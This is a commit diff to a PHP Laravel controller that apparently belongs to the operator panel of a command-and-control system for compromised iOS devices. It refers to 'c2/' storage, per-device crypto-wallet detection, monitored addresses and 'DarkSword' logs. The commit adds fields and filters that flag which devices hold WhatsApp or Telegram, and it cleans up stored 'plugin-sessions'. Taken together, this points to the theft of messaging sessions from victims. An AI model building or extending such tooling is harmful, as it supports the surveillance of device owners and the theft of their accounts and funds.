feat: tg/ws
This commit is contained in:
@@ -72,6 +72,9 @@ class DeviceController extends Controller
|
||||
'ip' => $d->ip ?: '',
|
||||
'has_wallet' => (int) $d->has_wallet,
|
||||
'wallet_names' => $d->walletNameList(),
|
||||
'has_whatsapp' => $d->hasWhatsApp() ? 1 : 0,
|
||||
'has_telegram' => $d->hasTelegram() ? 1 : 0,
|
||||
'im_names' => $d->imNameList(),
|
||||
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
@@ -235,6 +238,7 @@ class DeviceController extends Controller
|
||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/plugin-sessions/'.$device->device_id);
|
||||
$this->unmonitorAddresses($device);
|
||||
$this->purgeDarkSwordLogs($device);
|
||||
|
||||
@@ -604,7 +608,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
@@ -613,6 +617,10 @@ class DeviceController extends Controller
|
||||
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
|
||||
$hasWalletInt = (int) $hasWallet;
|
||||
}
|
||||
$hasIm = strtolower(trim((string) $request->query('has_im', '')));
|
||||
if (! in_array($hasIm, ['yes', 'none', 'whatsapp', 'telegram'], true)) {
|
||||
$hasIm = '';
|
||||
}
|
||||
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
@@ -624,12 +632,13 @@ class DeviceController extends Controller
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
'has_wallet' => $hasWalletInt,
|
||||
'has_im' => $hasIm,
|
||||
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
@@ -663,6 +672,17 @@ class DeviceController extends Controller
|
||||
if ($filters['has_wallet'] !== null) {
|
||||
$q->where('devices.has_wallet', $filters['has_wallet']);
|
||||
}
|
||||
if ($filters['has_im'] === 'yes') {
|
||||
$q->where(function (Builder $inner) {
|
||||
$inner->where('devices.has_whatsapp', true)->orWhere('devices.has_telegram', true);
|
||||
});
|
||||
} elseif ($filters['has_im'] === 'none') {
|
||||
$q->where('devices.has_whatsapp', false)->where('devices.has_telegram', false);
|
||||
} elseif ($filters['has_im'] === 'whatsapp') {
|
||||
$q->where('devices.has_whatsapp', true);
|
||||
} elseif ($filters['has_im'] === 'telegram') {
|
||||
$q->where('devices.has_telegram', true);
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user